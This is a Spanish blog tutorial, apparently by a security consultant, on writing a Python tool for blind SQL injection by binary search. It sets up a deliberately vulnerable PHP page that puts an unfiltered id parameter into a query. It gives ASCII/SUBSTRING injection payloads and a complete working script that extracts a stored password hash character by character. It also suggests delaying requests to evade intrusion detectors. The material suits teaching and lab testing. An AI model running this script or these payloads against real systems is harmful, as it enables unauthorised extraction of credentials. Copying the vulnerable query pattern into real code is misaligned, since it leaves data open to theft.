Ataque blind SQL-i mediante búsqueda binaria

Blind SQL-Injection con búsqueda binaria en Python

1. Responsabilidad

El autor declina toda responsabilidad sobre cualquier uso de la información presentada en el mismo.

2. Introducción

Seguimos con la serie desarrolla tus propias herramientas. Tras algunas peticiones, me animo a incluir un pequeño artículo sobre cómo construir, en unos minutos, una sencilla herramienta para realizar ataques de Blind SQL-injection.
El lenguaje de programación utilizado, como en el caso anterior, será: python.
¿Qué se puede aprender o para qué puede servir este artículo?

  • Animarte a desarrollar tus propias herramientas: igual que en al anterior, tratamos un caso fácil que el lector podrá, fácilmente, extender y adaptar a sus necesidades.
  • Entender un método de búsqueda como es la búsqueda binaria: aunque no es un curso de programación, podemos aprovechar para recordar, o comprender mejor , algoritmos sencillos como éste.

3. Aclaraciones y Prerequisitos

¿Qué no pretende este artículo?:

  • No, no es un texto dedicado a la programación, ni al estilo programando (para eso existen otros textos). Así que si crees que se puede hacer mejor o más limpio, cualquiera de los pasos, te animo a ello. Se asumen, además, unos conocimientos, al menos básicos, del lenguaje python.
  • Sí, existen herramientas que ya hacen lo que este ejemplo y quizá sean más eficientes (aunque aquellas, no las hemos diseñado nosotros por lo que adaptarlas a nuestras necesidades, puede ser complicado).
  • No vamos a explicar qué es el blind SQL-injection, existen muchos artículos al respecto y, durante el desarrollo, daremos por hecho que el autor conoce (al menos, de manera somera), esta técnica.
  • Para el desarrollo del entorno de pruebas se requiere que el lector sea capaz de montar un servidor apache con php y una base de datos MySQL (o un sistema equivalente) y unos conocimientos básicos del lenguaje SQL

Paso 1: crear nuestro entorno de pruebas

Crearemos una base de datos y un usuario con acceso a la misma (sólo permiso SELECT):

GRANT SELECT ON blindTest.* TO 'blind'@'localhost' IDENTIFIED BY '*******';

Crearemos, como root, la siguiente tabla (o similar):

CREATE TABLE 'users' (
'id' INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
'login' VARCHAR(50) NOT NULL,
'password' VARCHAR(50) NOT NULL,
PRIMARY KEY ('id')) ENGINE=MyISAM DEFAULT CHARSET=latin1;

A continuación insertamos entradas de usuarios, por ejemplo:

INSERT INTO users(login, password) VALUES('admin', 'a28a576abcfa60ea5a0b8fec4c55f78d'); INSERT INTO users(login, password) VALUES("root", "0c747f63c4646e48054265bf1e45f475");

*En nuestro ejemplo hemos decidido usar un algoritmo de resumen MD5, como contraseña.
** Podría, el lector, hacer un pequeño script que generase una palabra aleatoria y su MD5, de manera automática, para mayor desafío :)

Finalmente, generamos el fichero vulnerable (blind.php, en mi ejemplo):

<?php
require_once("Mysql.php");
$DBNAME = "blindTest";
$DBUSER = "blind";
$DBPASSWORD = "******";
$DBHOST = "localhost";
 
$mysql = new Mysql($DBNAME, $DBUSER, $DBPASSWORD, $DBHOST);
$id = $_GET["id"];
if ($id) {
	$sqlQuery = "SELECT * FROM users WHERE id=$id";
	$mysql->query($sqlQuery);
	$res = $mysql->asObject();
	if ($res->login)
		echo "login: $res->login<br>\n";
}
?>

Básicamente, utilizamos una librería de MySQL para convertir en objeto el resultado de una consulta (buscamos un id de usuario igual al que envía el usuario mediante el formulario), en la cual no hemos hecho un correcto filtrado de los parámetros ($id).
Aunque podríamos acceder directamente (http://localhost/blind.php?id=1), un formulario HTML que podría presentar esta información, podría ser:

<b>Formulario de pruebas</b><br><br>
<form name="auth" action="blind.php" method="GET">
Id: <input type="text" name="id" size=5><br>
<input type="submit">
</form>

5. Encontrando el blind SQL-i y cómo explotarlo

Realizando pruebas observamos que introduciendo 1 o 2, la aplicación nos muestra dichos usuarios, la respuesta obtenida es tal que:

login:admin <strong>Formulario de pruebas</strong> ID: [ ]

Sin embargo, introduciendo un valor inexistente, obtenemos:

Formulario de pruebas ID: [ ]

En este caso, dado que no lo ha encontrado, nos muestra el formulario de nuevo (sin la información de usuario “login: admin”).
Podemos utilizar este aspecto para realizar un ataque de inyección SQL ciega (Blind SQL-Injection); el truco se basa en introducir un valor que vaya a resultar como cierto (por ejemplo: 1, ya que el id=1 existe en la BD) y unir mediante un AND otra consulta SQL que pueda dar como resultado cierto o falso. De esta manera, dado que la primera condición siempre es cierta, obtendremos el formulario que incluye el texto “login:” sólo en el caso de que la segunda también sea cierta.
Tras diversas pruebas podemos obtener: número de registros en tablas, nombres de campos, valores de éstos…
Una vez averiguado el nombre de la tabla y campo a buscar, probamos a enviar, mediante el formulario (o directamente mediante método GET utilizando el navegador):

1 AND (SELECT LENGTH(password) FROM users WHERE id = 1) > 1

Obtenemos el texto: “login: admin”, por lo que es cierto.
Probamos a continuación a preguntar si es mayor que 50, por ejemplo:

1 AND (SELECT LENGTH(password) FROM users WHERE id = 1) > 50

Ya no aparece la parte de “login”, por lo que tiene que ser falso. Ahora probamos 25 lo que nos da cierto, luego probamos 37 que resulta ser falso, probamos 31 resulta cierto, y así hasta dar con el tamaño de la contraseña que es: 32 (la lógica nos podría llevar pensar que es muy probable que sea un md5, ya que éste se suele representar como una cadena de 32 dígitos hexadecimales, pero, de momento esto no nos importa).
Nuestra manera de probar no es más que una búsqueda binaria que en resumen, es:

6. Cómo funciona la búsqueda dicotómica (binaria)(resumen):

Se trata de dar con un elemento en una lista ordenada (como los números naturales en secuencia); básicamente comparamos con un elemento (al que llamaremos pívot) cualquiera (aunque suele tomarse el punto central), si el valor de éste es mayor que el elemento que buscamos sabemos que el elemento (número, en nuestro caso) que buscamos está (en caso de encontrarse en la lista) en la rama de la izquierda, por lo que la derecha la descartamos; En caso contrario, asumiríamos que el elemento está en la rama de la derecha (o es el pívot; O no se encuentra en la lista, si bien, en nuestro ejemplo esto no es posible (utilizamos como lista todo el rango de valores posibles para un carácter ASCII).
Tras cada iteración reducimos la búsqueda a la mitad de elementos y movemos el pívot al centro de la nueva lista; Este método es una manera rápida de encontrar nuestro elemento (desde luego, mucho más que un método secuencial, que también sería viable –aunque, menos óptimo- para este tipo de ataque).
Funcionamiento de la búsqueda binaria (supongamos que buscamos el elemento “3″):

esquema búsqueda binaria

7. Obtener la información de un campo

Confirmado que nuestro método de inyección funciona (hemos obtenido, de momento, el tamaño de la cadena objetivo). Para obtener la información de un campo concreto de una tabla, podemos emplear las siguientes funciones SQL:

  • ASCII(): nos devuelve el valor numérico correspondiente a la tabla ASCII para el carácter más a la izquierda de una cadena dada.
  • SUBSTRING(): nos permite partir una cadena. Lo utilizaremos para coger carácter a carácter cada uno de los valores a obtener (todos los caracteres del campo contraseña, por ejemplo), pasando éstos a la función ASCII obtendremos su para comparar, mediante operaciones de mayor que (>) y menor que (<) hasta dar con el valor exacto.

Ejemplo:

1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1)))) > 65
  • El primer 1 después de la coma indica la posición dentro de la cadena.
  • El 65 es el valor con que queremos comparar (correspondiente con la letra ‘A’).

El resultado parece que es cierto, por lo que probamos con un valor superior (por ejemplo, 122 que corresponde con ‘z’), siendo en este caso falso. Continuando con nuestro método de búsqueda binaria a mano, damos con ese valor que será: 97 (“a”).
Teniendo claro nuestro método, sólo nos falta automatizarlo para mayor comodidad (es cierto que una contraseña de pocos caracteres puede ser más rápido obtenerla a mano, pero según estos aumentan nuestra paciencia se pondrá más a prueba :), además, es más fácil cometer un error).

8. Implementando el código: Proceso de comprobación

Necesitamos una manera de comprobar si el elemento que estamos probando es mayor, o no, del elemento buscado. Recordemos que una consulta que nos daba dicho resultado, podría ser:

1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1)))) > 65

Para ello implementamos una función (check), de la siguiente manera:

  • Definiremos una variable global (o local) baseUrl donde almacenar la URL base a atacar (en nuestro ejemplo: http://localhost/blind.php?id=, recordemos que estamos pasando el parámetro por GET, si bien, es fácilmente adaptable a una solicitud POST mediante las librerías que nos ofrece python.
  • La función de chequeo (check) tomará dos parámetros: el carácter a buscar (lo llamaremos: char) y la posición dentro de la cadena (position).
  • La función de chequeo, juntará dicha base con la consulta a realizar sustituyendo en la consulta mostrada antes por los valores correspondientes de posición y valor ASCII del carácter a buscar.
  • Mediante la librería
  • urllib2, realizaremos la petición y procesaremos la respuesta en busca de la cadena “login: admin”. Si la encuentra devolveremos True, False en caso contrario.

Codificamos lo siguiente:

import urllib, urllib2
 
baseUrl = "http://localhost/blind.php?id="
 
def checkSQLi(char, position):
    testString = "1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password FROM users WHERE id=1), " + str(position) + ",1)))) = " + str(char)
    url = baseUrl + urllib.quote_plus(testString)
    response = urllib2.urlopen(url)
    html = response.read()
    if html.find("login: admin") != -1:
        return True
    else:
        return False

Nuestro siguiente paso será codificar la búsqueda binaria. Crearemos dos límites (lowLimit y topLimit) con los valores decimales del primer y último carácter ASCIIa probar (utilizamos los imprimibles: 32 al 126.

  • Lo codificamos así:

    • La función recibirá un ancho máximo (si bien, se podrían definir métodos para saber que ha terminado, o simplemente ejecutarlo hasta que observemos que ha sacado toda la información).
    • Iremos almacenando cada carácter obtenido en la cadena result.
    • La posición de la cadena que estamos averiguando estará en la variable position y: left, right y pivot serán los elementos que marquen cuál es el carácter más a la izquierda posible (empezará siendo lowLimit), derecho y el pívot (la mitad de la suma de ambos sin decimales).
    • Cada vez calcularemos el pivot (la mitad de la suma de ambos extremos (left/right) redondeada hacia abajo, p.ej.).
    • Según las comparaciones sean ciertas o faltas ajustaremos los valores de left, right y pivot.
    • En el momento en que el izquierdo y el derecho estén a menos de 2 de distancia, habremos hayado el valor que deseamos ya que sabemos que debe ser mayor que el de la izquierda y, a la vez, menor o igual al de la derecha (es decir, el valor buscado es el de la derecha). En ese momento añadimos el carácter a la cadena result, avanzaremos una posición y reestablecemos los valores de lowLimit y topLimit. También mostraremos por consola el total obtenido para que podamos ver nuestro progreso.
    • Finalmente, una vez superado el ancho establecido o la condición que establezcamos para terminar, devolveremos lo obtenido en la cadena result.
def getValue(width):
    result = ""
    position = 1
    left = lowLimit
    right = topLimit
    while position <= width:
        pivot = int((left + right) / 2)  
        if right - left < 2:
            position += 1
            result += chr(right)
            left = lowLimit
            right = topLimit
            print "=> ", result
 
        if check(pivot, position):
            left = pivot
            pivot = pivot = (left + right) / 2
        else: 
            right = pivot
    return result

9. Juntando todo

Para terminar, juntamos ambos métodos, añadiendo un par de instrucciones para comprobar cuánto tiempo tarda y cuántas peticiones HTTP necesita realizar. Definimos, también, un valor (sleepTime) en el que le indicaremos los segundos que queremos parar entre peticiones (útil para evitar detectores/protectores de intrusiones o simplemente para no saturar la máquina).
El código final es el siguiente:

import urllib, urllib2
import sys
import time
 
lowLimit = 32
topLimit = 126
baseUrl = "http://localhost/blind.php?id="
sleepTime = 1
res = ""
peticiones = 0
 
def checkSQLi(char, position):
    global peticiones 
    peticiones += 1
    testString = "1 AND (SELECT ASCII((SELECT SUBSTRING((SELECT password FROM users WHERE id=1), " + str(position) + ",1)))) > " + str(char)
    url = baseUrl + urllib.quote_plus(testString)
    response = urllib2.urlopen(url)
    html = response.read()
    if html.find("login: admin") != -1:
        return True
    else:
        return False
 
def getValue(width):
    result = ""
    position = 1
    left = lowLimit
    right = topLimit
    while position <= width:
        pivot = int((left + right) / 2)  
        if right - left < 2:
            position += 1
            result += chr(right)
            left = lowLimit
            right = topLimit
            print "=> ", result
 
        if checkSQLi(pivot, position):
            left = pivot
            pivot = pivot = (left + right) / 2
        else: 
            right = pivot
        time.sleep(sleepTime)
    return result
 
startTime = time.clock();            
print getValue(32)
print "En: ", peticiones, " peticiones y ", str(time.clock() - startTime), " segundos."

Desde luego, el código podría mejorar eliminando variables globales por ejemplo. Animo al lector a hacer tantos cambios como considere, algunas cosas he preferido dejar un código menos reutilizable, en favor de algo más sencillo.
En nuestra ejecución, obtenemos:

=>  a
=>  a2
=>  a28
(…)

a28a576abcfa60ea5a0b8fec4c55f78d
En: 

7. Sobre el Autor

Jesús Arnáiz es Consultor de Seguridad en Chase The Sun S.L., entre otros ha trabajado en proyectos de auditoría y consultoría de seguridad, pruebas de intrusión/hacking ético, análisis forense y cumplimiento normativo.
Para contactar con el autor, escribe a: jesus.arnaiz[ARROBA]chasethesun.es.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

*


*

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>